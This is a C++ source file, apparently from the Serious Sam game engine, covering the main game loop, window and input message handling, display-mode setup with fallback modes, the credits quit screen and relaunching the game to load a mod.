#ifdef SE1_D3D else if( _pGfx->gl_eCurrentAPI==GAT_D3D) strRes += " (Direct3D)"; #endif // SE1_D3D #endif // PLATFORM_WIN32 CTString strDescr; strDescr.PrintF("\n%s (%s)\n", (const char *) _strPreferencesDescription, (const char *) RenderingPreferencesDescription(sam_iVideoSetup)); strRes+=strDescr; // tell if application is started for the first time, or failed to set mode if( _iDisplayModeChangeFlag==0) { strRes += TRANS("Display mode set by default!"); } else if( _iDisplayModeChangeFlag==2) { strRes += TRANS("Last mode set failed!"); } // print it all pdp->SetFont( _pfdDisplayFont); pdp->SetTextScaling( fTextScale); pdp->SetTextAspect( 1.0f); pdp->PutText( strRes, slDPWidth*0.05f, slDPHeight*0.85f, _pGame->LCDGetColor(C_GREEN|255, "display mode")); } // do the main game loop and render screen void DoGame(void) { #ifdef SINGLE_THREADED _pTimer->HandleTimerHandlers(); #endif // set flag if not in game if( !_pGame->gm_bGameOn) _gmRunningGameMode = GM_NONE; if( (_gmRunningGameMode==GM_DEMO && _pNetwork->IsDemoPlayFinished()) ||(_gmRunningGameMode==GM_INTRO && _pNetwork->IsGameFinished())) { _pGame->StopGame(); _gmRunningGameMode = GM_NONE; // load next demo StartNextDemo(); if (!_bInAutoPlayLoop) { // start menu StartMenus(); } } // do the main game loop if( _gmRunningGameMode != GM_NONE) { _pGame->GameMainLoop(); // if game is not started } else { // just handle broadcast messages _pNetwork->GameInactive(); } if (sam_iStartCredits>0) { Credits_On(sam_iStartCredits); sam_iStartCredits = 0; } if (sam_iStartCredits<0) { Credits_Off(); sam_iStartCredits = 0; } if( _gmRunningGameMode==GM_NONE) { Credits_Off(); sam_iStartCredits = 0; } // redraw the view if( !IsIconic(_hwndMain) && pdp!=NULL && pdp->Lock()) { if( _gmRunningGameMode!=GM_NONE && !bMenuActive ) { // handle pretouching of textures and shadowmaps pdp->Unlock(); _pGame->GameRedrawView( pdp, (_pGame->gm_csConsoleState!=CS_OFF || bMenuActive)?0:GRV_SHOWEXTRAS); pdp->Lock(); _pGame->ComputerRender(pdp); pdp->Unlock(); CDrawPort dpScroller(pdp, TRUE); dpScroller.Lock(); if (Credits_Render(&dpScroller)==0) { Credits_Off(); } dpScroller.Unlock(); pdp->Lock(); } else { pdp->Fill( _pGame->LCDGetColor(C_dGREEN|CT_OPAQUE, "bcg fill")); } // do menu if( bMenuRendering) { // clear z-buffer pdp->FillZBuffer( ZBUF_BACK); // remember if we should render menus next tick bMenuRendering = DoMenu(pdp); } // print display mode info if needed PrintDisplayModeInfo(); // render console _pGame->ConsoleRender(pdp); // done with all pdp->Unlock(); // clear upper and lower parts of screen if in wide screen mode if( pdp==pdpWideScreen && pdpNormal->Lock()) { const PIX pixWidth = pdpWideScreen->GetWidth(); const PIX pixHeight = (pdpNormal->GetHeight() - pdpWideScreen->GetHeight()) /2; const PIX pixJOfs = pixHeight + pdpWideScreen->GetHeight()-1; pdpNormal->Fill( 0, 0, pixWidth, pixHeight, C_BLACK|CT_OPAQUE); pdpNormal->Fill( 0, pixJOfs, pixWidth, pixHeight, C_BLACK|CT_OPAQUE); pdpNormal->Unlock(); } // show pvpViewPort->SwapBuffers(); } } void TeleportPlayer(int iPosition) { CTString strCommand; strCommand.PrintF( "cht_iGoToMarker = %d;", iPosition); _pShell->Execute(strCommand); } CTextureObject _toStarField; static FLOAT _fLastVolume = 1.0f; void RenderStarfield(CDrawPort *pdp, FLOAT fStrength) { CTextureData *ptd = (CTextureData *)_toStarField.GetData(); // skip if no texture if(ptd==NULL) return; PIX pixSizeI = pdp->GetWidth(); PIX pixSizeJ = pdp->GetHeight(); FLOAT fStretch = pixSizeI/640.0f; fStretch*=FLOAT(ptd->GetPixWidth())/ptd->GetWidth(); PIXaabbox2D boxScreen(PIX2D(0,0), PIX2D(pixSizeI, pixSizeJ)); MEXaabbox2D boxTexture(MEX2D(0, 0), MEX2D(pixSizeI/fStretch, pixSizeJ/fStretch)); pdp->PutTexture(&_toStarField, boxScreen, boxTexture, LerpColor(C_BLACK, C_WHITE, fStrength)|CT_OPAQUE); } FLOAT RenderQuitScreen(CDrawPort *pdp, CViewPort *pvp) { CDrawPort dpQuit(pdp, TRUE); CDrawPort dpWide; dpQuit.MakeWideScreen(&dpWide); // redraw the view if (!dpWide.Lock()) { return 0; } dpWide.Fill(C_BLACK|CT_OPAQUE); RenderStarfield(&dpWide, _fLastVolume); FLOAT fVolume = Credits_Render(&dpWide); _fLastVolume = fVolume; dpWide.Unlock(); pvp->SwapBuffers(); return fVolume; } void QuitScreenLoop(void) { Credits_On(3); CSoundObject soMusic; try { _toStarField.SetData_t(CTFILENAME("Textures\\Background\\Night01\\Stars01.tex")); soMusic.Play_t(CTFILENAME("Music\\Credits.mp3"), SOF_NONGAME|SOF_MUSIC|SOF_LOOP); } catch (const char *strError) { CPrintF("%s\n", (const char *) strError); } // while it is still running FOREVER { FLOAT fVolume = RenderQuitScreen(pdp, pvpViewPort); if (fVolume<=0) { return; } // assure we can listen to non-3d sounds soMusic.SetVolume(fVolume, fVolume); _pSound->UpdateSounds(); // while there are any messages in the message queue MSG msg; while(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { // if it is not a keyboard or mouse message if(msg.message==WM_LBUTTONDOWN|| msg.message==WM_RBUTTONDOWN|| msg.message==WM_KEYDOWN) { return; } } //_pTimer->Sleep(5); #ifdef SINGLE_THREADED _pTimer->HandleTimerHandlers(); #endif } } #ifdef PLATFORM_WIN32 // [Cecil] Game application is DPI-aware static BOOL _bDPIAware = FALSE; // Make game application be aware of the DPI scaling on Windows Vista and later static void SetDPIAwareness(void) { // Load the library HMODULE hUser = LoadLibraryA("User32.dll"); if (hUser == NULL) return; // Try to find the DPI awareness method typedef BOOL (*CSetAwarenessFunc)(void); CSetAwarenessFunc pFunc = (CSetAwarenessFunc)GetProcAddress(hUser, "SetProcessDPIAware"); if (pFunc == NULL) return; // Mark game application as DPI-aware _bDPIAware = pFunc(); }; #endif // PLATFORM_WIN32 int SubMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { (void)hPrevInstance; #ifdef PLATFORM_WIN32 SetDPIAwareness(); #endif // PLATFORM_WIN32 if( !Init( hInstance, nCmdShow, lpCmdLine )) return FALSE; // initialy, application is running and active, console and menu are off _bRunning = TRUE; _bQuitScreen = TRUE; _pGame->gm_csConsoleState = CS_OFF; _pGame->gm_csComputerState = CS_OFF; // bMenuActive = FALSE; // bMenuRendering = FALSE; // while it is still running while( _bRunning && _fnmModToLoad=="") { // while there are any messages in the message queue MSG msg; while( PeekMessage( &msg, NULL, 0, 0, PM_REMOVE)) { // if it is not a mouse message if( !(msg.message>=WM_MOUSEFIRST && msg.message<=WM_MOUSELAST) ) { // if not system key messages if( !((msg.message==WM_KEYDOWN && msg.wParam==VK_F10) ||msg.message==WM_SYSKEYDOWN)) { // dispatch it TranslateMessage(&msg); DispatchMessage(&msg); } } // system commands (also send by the application itself) #ifdef PLATFORM_WIN32 if( msg.message==WM_SYSCOMMAND) { switch( msg.wParam & ~0x0F) { // if should minimize case SC_MINIMIZE: if( _bWindowChanging) break; _bWindowChanging = TRUE; _bReconsiderInput = TRUE; // if allowed, not already paused and only in single player game mode if( sam_bPauseOnMinimize && !_pNetwork->IsPaused() && _gmRunningGameMode==GM_SINGLE_PLAYER) { // pause game _pNetwork->TogglePause(); } // if in full screen if( sam_bFullScreenActive) { // reset display mode and minimize window _pGfx->ResetDisplayMode(); ShowWindow(_hwndMain, SW_MINIMIZE); // if not in full screen } else { // just minimize the window ShowWindow(_hwndMain, SW_MINIMIZE); } break; // if should restore case SC_RESTORE: if( _bWindowChanging) break; _bWindowChanging = TRUE; _bReconsiderInput = TRUE; // if in full screen if( sam_bFullScreenActive) { ShowWindow(_hwndMain, SW_SHOWNORMAL); // set the display mode once again sam_bBorderLessActive = FALSE; StartNewMode( (GfxAPIType)sam_iGfxAPI, sam_iDisplayAdapter, sam_iScreenSizeI, sam_iScreenSizeJ, sam_iAspectSizeI, sam_iAspectSizeJ, (enum DisplayDepth)sam_iDisplayDepth, sam_bFullScreenActive, sam_bBorderLessActive); // if not in full screen } else { // restore window ShowWindow(_hwndMain, SW_SHOWNORMAL); } break; // if should maximize case SC_MAXIMIZE: if( _bWindowChanging) break; _bWindowChanging = TRUE; _bReconsiderInput = TRUE; // go to full screen StartNewMode( (GfxAPIType)sam_iGfxAPI, sam_iDisplayAdapter, sam_iScreenSizeI, sam_iScreenSizeJ, sam_iAspectSizeI, sam_iAspectSizeJ, (enum DisplayDepth)sam_iDisplayDepth, TRUE, FALSE); ShowWindow( _hwndMain, SW_SHOWNORMAL); break; } } #else STUBBED("SDL2 can handle these events"); #endif // toggle full-screen on alt-enter if( msg.message==WM_SYSKEYDOWN && msg.wParam==VK_RETURN && !IsIconic(_hwndMain)) { // !!! FIXME: SDL doesn't need to rebuild the GL context here to toggle fullscreen. //STUBBED("SDL doesn't need to rebuild the GL context here..."); StartNewMode( (GfxAPIType)sam_iGfxAPI, sam_iDisplayAdapter, sam_iScreenSizeI, sam_iScreenSizeJ, sam_iAspectSizeI, sam_iAspectSizeJ, (enum DisplayDepth)sam_iDisplayDepth, !sam_bFullScreenActive, FALSE); #ifdef PLATFORM_UNIX if (_pInput != NULL) // rcg02042003 hack for SDL vs. Win32. _pInput->ClearRelativeMouseMotion(); #endif } // if application should stop if( msg.message==WM_QUIT || msg.message==WM_CLOSE) { // stop running _bRunning = FALSE; _bQuitScreen = FALSE; } #ifdef PLATFORM_WIN32 // if application is deactivated or minimized if( (msg.message==WM_ACTIVATE && (LOWORD(msg.wParam)==WA_INACTIVE || HIWORD(msg.wParam))) || msg.message==WM_CANCELMODE || msg.message==WM_KILLFOCUS || (msg.message==WM_ACTIVATEAPP && !msg.wParam)) { // if application is running and in full screen mode if( !_bWindowChanging && _bRunning) { // minimize if in full screen if( sam_bFullScreenActive) PostMessage(NULL, WM_SYSCOMMAND, SC_MINIMIZE, 0); // just disable input if not in full screen else _pInput->DisableInput(); } } // if application is activated or minimized else if( (msg.message==WM_ACTIVATE && (LOWORD(msg.wParam)==WA_ACTIVE || LOWORD(msg.wParam)==WA_CLICKACTIVE)) || msg.message==WM_SETFOCUS || (msg.message==WM_ACTIVATEAPP && msg.wParam)) { // enable input back again if needed _bReconsiderInput = TRUE; } #endif if (msg.message==WM_KEYDOWN && msg.wParam==VK_ESCAPE && (_gmRunningGameMode==GM_DEMO || _gmRunningGameMode==GM_INTRO)) { _pGame->StopGame(); _gmRunningGameMode=GM_NONE; } if (_pGame->gm_csConsoleState==CS_TALK && msg.message==WM_KEYDOWN && msg.wParam==VK_ESCAPE) { #ifdef PLATFORM_UNIX if (_pInput != NULL) // rcg02042003 hack for SDL vs. Win32. _pInput->ClearRelativeMouseMotion(); #endif _pGame->gm_csConsoleState = CS_OFF; msg.message=WM_NULL; } BOOL bMenuForced = (_gmRunningGameMode==GM_NONE && (_pGame->gm_csConsoleState==CS_OFF || _pGame->gm_csConsoleState==CS_TURNINGOFF)); BOOL bMenuToggle = (msg.message==WM_KEYDOWN && msg.wParam==VK_ESCAPE && (_pGame->gm_csComputerState==CS_OFF || _pGame->gm_csComputerState==CS_ONINBACKGROUND)); if( !bMenuActive) { if( bMenuForced || bMenuToggle) { // if console is active if( _pGame->gm_csConsoleState==CS_ON || _pGame->gm_csConsoleState==CS_TURNINGON) { // deactivate it _pGame->gm_csConsoleState = CS_TURNINGOFF; _iAddonExecState = 0; } // delete key down message so menu would not exit because of it msg.message=WM_NULL; // start menu StartMenus(); } } else { if (bMenuForced && bMenuToggle && pgmCurrentMenu->gm_pgmParentMenu == NULL) { // delete key down message so menu would not exit because of it msg.message=WM_NULL; } } // if neither menu nor console is running if (!bMenuActive && (_pGame->gm_csConsoleState==CS_OFF || _pGame->gm_csConsoleState==CS_TURNINGOFF)) { // if current menu is not root if (!IsMenusInRoot()) { // start current menu StartMenus(); } } if (sam_bMenuSave) { sam_bMenuSave = FALSE; StartMenus("save"); } if (sam_bMenuLoad) { sam_bMenuLoad = FALSE; StartMenus("load"); } if (sam_bMenuControls) { sam_bMenuControls = FALSE; StartMenus("controls"); } if (sam_bMenuHiScore) { sam_bMenuHiScore = FALSE; StartMenus("hiscore"); } // interpret console key presses if (_iAddonExecState==0) { if (msg.message==WM_KEYDOWN) { _pGame->ConsoleKeyDown(msg); if (_pGame->gm_csConsoleState!=CS_ON) { _pGame->ComputerKeyDown(msg); } } else if (msg.message==WM_KEYUP) { // special handler for talk (not to invoke return key bind) if( msg.wParam==VK_RETURN && _pGame->gm_csConsoleState==CS_TALK) { #ifdef PLATFORM_UNIX if (_pInput != NULL) // rcg02042003 hack for SDL vs. Win32. _pInput->ClearRelativeMouseMotion(); #endif _pGame->gm_csConsoleState = CS_OFF; } } else if (msg.message==WM_CHAR) { _pGame->ConsoleChar(msg); } if (msg.message==WM_LBUTTONDOWN ||msg.message==WM_RBUTTONDOWN ||msg.message==WM_LBUTTONDBLCLK ||msg.message==WM_RBUTTONDBLCLK ||msg.message==WM_LBUTTONUP ||msg.message==WM_RBUTTONUP) { if (_pGame->gm_csConsoleState!=CS_ON) { _pGame->ComputerKeyDown(msg); } } } // if menu is active and no input on if( bMenuActive && !_pInput->IsInputEnabled()) { // pass keyboard/mouse messages to menu if(msg.message==WM_KEYDOWN) { MenuOnKeyDown( msg.wParam); } else if (msg.message==WM_LBUTTONDOWN || msg.message==WM_LBUTTONDBLCLK) { MenuOnKeyDown(VK_LBUTTON); } else if (msg.message==WM_RBUTTONDOWN || msg.message==WM_RBUTTONDBLCLK) { MenuOnKeyDown(VK_RBUTTON); } else if (msg.message==WM_MOUSEMOVE) { MenuOnMouseMove(LOWORD(msg.lParam), HIWORD(msg.lParam)); #ifndef WM_MOUSEWHEEL #define WM_MOUSEWHEEL 0x020A #endif } else if (msg.message==WM_MOUSEWHEEL) { SWORD swDir = SWORD(UWORD(HIWORD(msg.wParam))); if (swDir>0) { MenuOnKeyDown(11); } else if (swDir<0) { MenuOnKeyDown(10); } } else if (msg.message==WM_CHAR) { MenuOnChar(msg); } } // if toggling console BOOL bConsoleKey = sam_bToggleConsole || (msg.message==WM_KEYDOWN && // !!! FIXME: rcg11162001 This sucks. // FIXME: DG: we could use SDL_SCANCODE_GRAVE ? #ifdef PLATFORM_UNIX (msg.wParam == SDLK_BACKQUOTE #else (MapVirtualKey(msg.wParam, 0)==41 // scan code for '~' #endif || msg.wParam==VK_F1 || (msg.wParam==VK_ESCAPE && _iAddonExecState==3))); if(bConsoleKey && !_bDefiningKey) { sam_bToggleConsole = FALSE; if( _iAddonExecState==3) _iAddonExecState = 0; // if it is up, or pulling up if( _pGame->gm_csConsoleState==CS_OFF || _pGame->gm_csConsoleState==CS_TURNINGOFF) { // start it moving down and disable menu _pGame->gm_csConsoleState = CS_TURNINGON; // stop all IFeel effects IFeel_StopEffect(NULL); if( bMenuActive) { StopMenus(FALSE); } // if it is down, or dropping down } else if( _pGame->gm_csConsoleState==CS_ON || _pGame->gm_csConsoleState==CS_TURNINGON) { // start it moving up _pGame->gm_csConsoleState = CS_TURNINGOFF; } } if (_pShell->GetINDEX("con_bTalk") && _pGame->gm_csConsoleState==CS_OFF) { _pShell->SetINDEX("con_bTalk", FALSE); _pGame->gm_csConsoleState = CS_TALK; } // if pause pressed if (msg.message==WM_KEYDOWN && msg.wParam==VK_PAUSE) { // toggle pause _pNetwork->TogglePause(); } #ifdef PLATFORM_WIN32 // if command sent from external application if (msg.message==WM_COMMAND) { // if teleport player if (msg.wParam==1001) { // teleport player TeleportPlayer(msg.lParam); // restore PostMessage(NULL, WM_SYSCOMMAND, SC_RESTORE, 0); } } #endif // if demo is playing if (_gmRunningGameMode==GM_DEMO || _gmRunningGameMode==GM_INTRO ) { // check if escape is pressed BOOL bEscape = (msg.message==WM_KEYDOWN && msg.wParam==VK_ESCAPE); // check if console-invoke key is pressed BOOL bTilde = (msg.message==WM_KEYDOWN && (msg.wParam==VK_F1 || // !!! FIXME: ugly. #ifdef PLATFORM_UNIX msg.wParam == SDLK_BACKQUOTE #else MapVirtualKey(msg.wParam, 0)==41 // scan code for '~' #endif )); // check if any key is pressed BOOL bAnyKey = ( (msg.message==WM_KEYDOWN && (msg.wParam==VK_SPACE || msg.wParam==VK_RETURN))|| msg.message==WM_LBUTTONDOWN||msg.message==WM_RBUTTONDOWN); // if escape is pressed if (bEscape) { // stop demo _pGame->StopGame(); _bInAutoPlayLoop = FALSE; _gmRunningGameMode = GM_NONE; // if any other key is pressed except console invoking } else if (bAnyKey && !bTilde) { // if not in menu or in console if (!bMenuActive && !bMenuRendering && _pGame->gm_csConsoleState==CS_OFF) { // skip to next demo _pGame->StopGame(); _gmRunningGameMode = GM_NONE; StartNextDemo(); } } } } // loop while there are messages // when all messages are removed, window has surely changed _bWindowChanging = FALSE; // get real cursor position if( _pGame->gm_csComputerState!=CS_OFF && _pGame->gm_csComputerState!=CS_ONINBACKGROUND) { POINT pt; ::GetCursorPos(&pt); ::ScreenToClient(_hwndMain, &pt); _pGame->ComputerMouseMove(pt.x, pt.y); } // if addon is to be executed if (_iAddonExecState==1) { // print header and start console CPrintF(TRANSV("---- Executing addon: '%s'\n"), (const char*)_fnmAddonToExec); sam_bToggleConsole = TRUE; _iAddonExecState = 2; // if addon is ready for execution } else if (_iAddonExecState==2 && _pGame->gm_csConsoleState == CS_ON) { // execute it CTString strCmd; strCmd.PrintF("include \"%s\"", (const char*)_fnmAddonToExec); _pShell->Execute(strCmd); CPrintF(TRANSV("Addon done, press Escape to close console\n")); _iAddonExecState = 3; } // automaticaly manage input enable/disable toggling UpdateInputEnabledState(); // automaticaly manage pause toggling UpdatePauseState(); // notify game whether menu is active _pGame->gm_bMenuOn = bMenuActive; // do the main game loop and render screen DoGame(); // limit current frame rate if neeeded LimitFrameRate(); } // end of main application loop _pInput->DisableInput(); _pGame->StopGame(); // invoke quit screen if needed if( _bQuitScreen && _fnmModToLoad=="") QuitScreenLoop(); End(); return TRUE; } void CheckModReload(void) { if (_fnmModToLoad!="") { #ifndef NDEBUG #ifdef PLATFORM_WIN32 CTString strDebug = "Debug\\"; #else CTString strDebug = "Debug/"; #endif #else CTString strDebug = ""; #endif #ifdef PLATFORM_WIN32 CTString strCommand = "SeriousSam.exe"; CTString strPatch = _fnmApplicationPath+"Bin\\"+strDebug+strCommand; #else CTString strCommand; if (sys_iSysPath == 1) { strCommand = sam_strGameName; } else { strCommand = "SeriousSam"; } CTString strPatch = CTString(_strExePath) + strDebug + strCommand; #endif //+mod "+_fnmModToLoad.FileName()+"\""; CTString strMod = _fnmModToLoad.FileName(); const char *argv[8]; argv[0] = (const char *)strPatch; argv[1] = (const char *)strCommand; argv[2] = (const char *)"+game"; argv[3] = (const char *)strMod; argv[4] = NULL; argv[5] = NULL; argv[6] = NULL; argv[7] = NULL; if (_strModServerJoin!="") { argv[4] = (const char *)" +connect "; argv[5] = (const char *)_strModServerJoin; argv[6] = (const char *)" +quickjoin "; argv[7] = NULL; } #ifdef PLATFORM_WIN32 _execl((const char *)argv[0],(const char *)argv[1],(const char *)argv[2],(const char *)argv[3], \ (const char *)argv[4],(const char *)argv[5],(const char *)argv[6],(const char *)argv[7]); MessageBoxA(0, "Error launching the Mod!\n", "Serious Sam", MB_OK|MB_ICONERROR); #else execl((const char *)argv[0],(const char *)argv[1],(const char *)argv[2],(const char *)argv[3], \ (const char *)argv[4],(const char *)argv[5],(const char *)argv[6],(const char *)argv[7], nullptr); SDL_ShowSimpleMessageBox(SDL_MESSAGEBOX_ERROR, "Serious Sam", "Error launching the Mod!\n", NULL); #endif } } void CheckTeaser(void) { #ifdef PLATFORM_WIN32 CTFileName fnmTeaser = _fnmApplicationPath+CTString("Bin\\AfterSam.exe"); if (fopen(fnmTeaser, "r")!=NULL) { Sleep(500); _execl(fnmTeaser, "\""+fnmTeaser+"\"", NULL); } #else STUBBED("load teaser"); #endif } void CheckBrowser(void) { if (_strURLToVisit!="") { RunBrowser(_strURLToVisit); } } int CommonMainline( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { int iResult; CTSTREAM_BEGIN { iResult = SubMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow); } CTSTREAM_END; CheckModReload(); CheckTeaser(); CheckBrowser(); return iResult; } #ifdef PLATFORM_WIN32 int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { argv0 = new char[MAX_PATH]; memset(argv0, '\0', sizeof (argv0)); GetModuleFileNameA(NULL, argv0, MAX_PATH-1); const int rc = CommonMainline(hInstance, hPrevInstance, lpCmdLine, nCmdShow); delete[] argv0; argv0 = NULL; return rc; } #else // !!! FIXME: rcg01052002 This should really get dumped to the game's // !!! FIXME: rcg01052002 console so it's in the log file, too. #ifdef BETAEXPIRE static inline void check_beta(void) { bool bail = false; setbuf(stderr, NULL); fprintf(stderr, "\n\n\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); if ( time(NULL) > (BETAEXPIRE + 30 * 24 * 60 * 60) ) { fprintf(stderr, "Sorry, but this beta of the game has expired, and will no\n" " longer run. This is to prevent tech support on out-of-date\n" " and prerelease versions of the game. Please go to\n" " http://www.croteam.com/ for information on getting a release\n" " version that does not expire.\n"); bail = true; } else { fprintf(stderr, " Warning: This is a beta version of SERIOUS SAM.\n"); } fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "\n\n\n"); if (bail) { _exit(0); } } // check_beta #endif // !!! FIXME: rcg01102002 This should really get dumped to the game's // !!! FIXME: rcg01102002 console so it's in the log file, too. #ifdef PROFILING_ENABLED static inline void warn_profiling(void) { setbuf(stderr, NULL); fprintf(stderr, "\n\n\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, " Warning: Profiling is enabled in this binary!\n"); fprintf(stderr, " DO NOT SHIP A BINARY WITH THIS ENABLED!\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "*********************************************************\n"); fprintf(stderr, "\n\n\n"); } // check_beta #endif int main(int argc, char **argv) { #ifdef BETAEXPIRE // !!! FIXME: This is Unix-centric (at least, non-win32) if put in main(). check_beta(); #endif #ifdef PROFILING_ENABLED // !!! FIXME: This is Unix-centric (at least, non-win32) if put in main(). warn_profiling(); #endif argv0 = argv[0]; CTString cmdLine; for (int i = 1; i < argc; i++) { cmdLine += " \""; cmdLine += argv[i]; cmdLine += "\""; } return(CommonMainline(NULL, NULL, (char *) ((const char *) cmdLine), 0)); } #endif // try to start a new display mode BOOL TryToSetDisplayMode( enum GfxAPIType eGfxAPI, INDEX iAdapter, PIX pixSizeI, PIX pixSizeJ, PIX aspSizeI, PIX aspSizeJ, enum DisplayDepth eColorDepth, BOOL bFullScreenMode, BOOL bBorderLessMode) { CDisplayMode dmTmp; dmTmp.dm_ddDepth = eColorDepth; CPrintF( TRANS(" Starting display mode: %dx%dx%s (%s, %s)\n"), pixSizeI, pixSizeJ, (const char *) dmTmp.DepthString(), bFullScreenMode ? TRANS("fullscreen") : TRANS("window"), bBorderLessMode ? TRANS("borderless") : TRANS("normal")); // mark to start ignoring window size/position messages until settled down _bWindowChanging = TRUE; // destroy canvas if existing _pGame->DisableLoadingHook(); if( pvpViewPort!=NULL) { _pGfx->DestroyWindowCanvas( pvpViewPort); pvpViewPort = NULL; pdpNormal = NULL; } // close the application window CloseMainWindow(); // try to set new display mode BOOL bSuccess; // TODO: enable full screen if( bFullScreenMode) { #ifdef SE1_D3D if( eGfxAPI==GAT_D3D) OpenMainWindowFullScreen( pixSizeI, pixSizeJ); #endif // SE1_D3D bSuccess = _pGfx->SetDisplayMode( eGfxAPI, iAdapter, pixSizeI, pixSizeJ, eColorDepth); if( bSuccess && eGfxAPI==GAT_OGL) OpenMainWindowFullScreen( pixSizeI, pixSizeJ); } else { #ifdef SE1_D3D if( eGfxAPI==GAT_D3D) OpenMainWindowNormal( pixSizeI, pixSizeJ); #endif // SE1_D3D bSuccess = _pGfx->ResetDisplayMode( eGfxAPI); if( bSuccess && eGfxAPI==GAT_OGL) OpenMainWindowNormal( pixSizeI, pixSizeJ); #ifdef SE1_D3D if( bSuccess && eGfxAPI==GAT_D3D) ResetMainWindowNormal(); #endif // SE1_D3D } // if new mode was set if( bSuccess) { // create canvas ASSERT( pvpViewPort==NULL); ASSERT( pdpNormal==NULL); _pGfx->CreateWindowCanvas( _hwndMain, &pvpViewPort, &pdpNormal); // erase context of both buffers (for the sake of wide-screen) pdp = pdpNormal; if( pdp!=NULL && pdp->Lock()) { pdp->Fill(C_BLACK|CT_OPAQUE); pdp->Unlock(); pvpViewPort->SwapBuffers(); pdp->Lock(); pdp->Fill(C_BLACK|CT_OPAQUE); pdp->Unlock(); pvpViewPort->SwapBuffers(); } // lets try some wide screen screaming :) const PIX pixYBegAdj = pdp->GetHeight() * 21/24; const PIX pixYEndAdj = pdp->GetHeight() * 3/24; const PIX pixXEnd = pdp->GetWidth(); pdpWideScreen = new CDrawPort( pdp, PIXaabbox2D( PIX2D(0,pixYBegAdj), PIX2D(pixXEnd, pixYEndAdj))); pdpWideScreen->dp_fWideAdjustment = 9.0f / 12.0f; if( sam_bWideScreen) pdp = pdpWideScreen; // initial screen fill and swap, just to get context running BOOL bSuccess = FALSE; if( pdp!=NULL && pdp->Lock()) { pdp->Fill(_pGame->LCDGetColor(C_dGREEN|CT_OPAQUE, "bcg fill")); pdp->Unlock(); pvpViewPort->SwapBuffers(); bSuccess = TRUE; } _pGame->EnableLoadingHook(pdp); // if the mode is not working, or is not accelerated if( !bSuccess || !_pGfx->IsCurrentModeAccelerated()) { // report error CPrintF( TRANS("This mode does not support hardware acceleration.\n")); // destroy canvas if existing if( pvpViewPort!=NULL) { _pGame->DisableLoadingHook(); _pGfx->DestroyWindowCanvas( pvpViewPort); pvpViewPort = NULL; pdpNormal = NULL; } // close the application window CloseMainWindow(); // report failure return FALSE; } // remember new settings sam_bFullScreenActive = bFullScreenMode; sam_iScreenSizeI = pixSizeI; sam_iScreenSizeJ = pixSizeJ; sam_iAspectSizeI = aspSizeI; sam_iAspectSizeJ = aspSizeJ; sam_iDisplayDepth = eColorDepth; sam_iDisplayAdapter = iAdapter; sam_iGfxAPI = eGfxAPI; // report success return TRUE; // if couldn't set new mode } else { // close the application window CloseMainWindow(); // report failure return FALSE; } } // list of possible display modes for recovery const INDEX aDefaultModes[][3] = { // color, API, adapter { DD_DEFAULT, GAT_OGL, 0}, { DD_16BIT, GAT_OGL, 0}, { DD_16BIT, GAT_OGL, 1}, // 3dfx Voodoo2 #ifdef SE1_D3D { DD_DEFAULT, GAT_D3D, 0}, { DD_16BIT, GAT_D3D, 0}, { DD_16BIT, GAT_D3D, 1}, #endif // SE1_D3D }; const INDEX ctDefaultModes = ARRAYCOUNT(aDefaultModes); // start new display mode void StartNewMode( enum GfxAPIType eGfxAPI, INDEX iAdapter, PIX pixSizeI, PIX pixSizeJ, PIX aspSizeI, PIX aspSizeJ, enum DisplayDepth eColorDepth, BOOL bFullScreenMode, BOOL bBorderLessMode) { CPrintF( TRANS("\n* START NEW DISPLAY MODE ...\n")); _pShell->Execute("gam_bEnableAdvancedObserving = 1;"); // try to set the mode BOOL bSuccess = TryToSetDisplayMode( eGfxAPI, iAdapter, pixSizeI, pixSizeJ, aspSizeI, aspSizeJ, eColorDepth, bFullScreenMode, bBorderLessMode); // if failed if( !bSuccess) { // report failure and reset to default resolution _iDisplayModeChangeFlag = 2; // failure CPrintF( TRANS("Requested display mode could not be set!\n")); pixSizeI = 640; pixSizeJ = 480; aspSizeI = 4; aspSizeJ = 3; bFullScreenMode = FALSE; // try to revert to one of recovery modes for( INDEX iMode=0; iMode<ctDefaultModes; iMode++) { eColorDepth = (DisplayDepth)aDefaultModes[iMode][0]; eGfxAPI = (GfxAPIType) aDefaultModes[iMode][1]; iAdapter = aDefaultModes[iMode][2]; // set sam_iGfxAPI for SDL_CreateWindow sam_iGfxAPI = eGfxAPI; CPrintF(TRANSV("\nTrying recovery mode %d...\n"), iMode); bSuccess = TryToSetDisplayMode( eGfxAPI, iAdapter, pixSizeI, pixSizeJ, aspSizeI, aspSizeJ, eColorDepth, bFullScreenMode, bBorderLessMode); if( bSuccess) break; } // if all failed if( !bSuccess) { FatalError(TRANS( "Cannot set display mode!\n" "Serious Sam was unable to find display mode with hardware acceleration.\n" "Make sure you install proper drivers for your video card as recommended\n" "in documentation and set your desktop to 16 bit (65536 colors).\n" "Please see ReadMe file for troubleshooting information.\n")); } // if succeeded } else { _iDisplayModeChangeFlag = 1; // all ok } //#################################################################33 //In order to fix completely fucked up menu layout (when wide screen is used) //and since dumb fucks from croteam defined fucking 200000 constats for each letter on the fucking screen... //we'll need to fix some of them for current resolution.... SetAdjusters(); //#################################################################33 // apply 3D-acc settings ApplyGLSettings(FALSE); // remember time of mode setting _tmDisplayModeChanged = _pTimer->GetRealTimeTick(); }
0
0.917051
1
0.917051
game-dev
MEDIA
0.619203
game-dev
0.773424
1
0.773424
gabber235/Typewriter
1,632
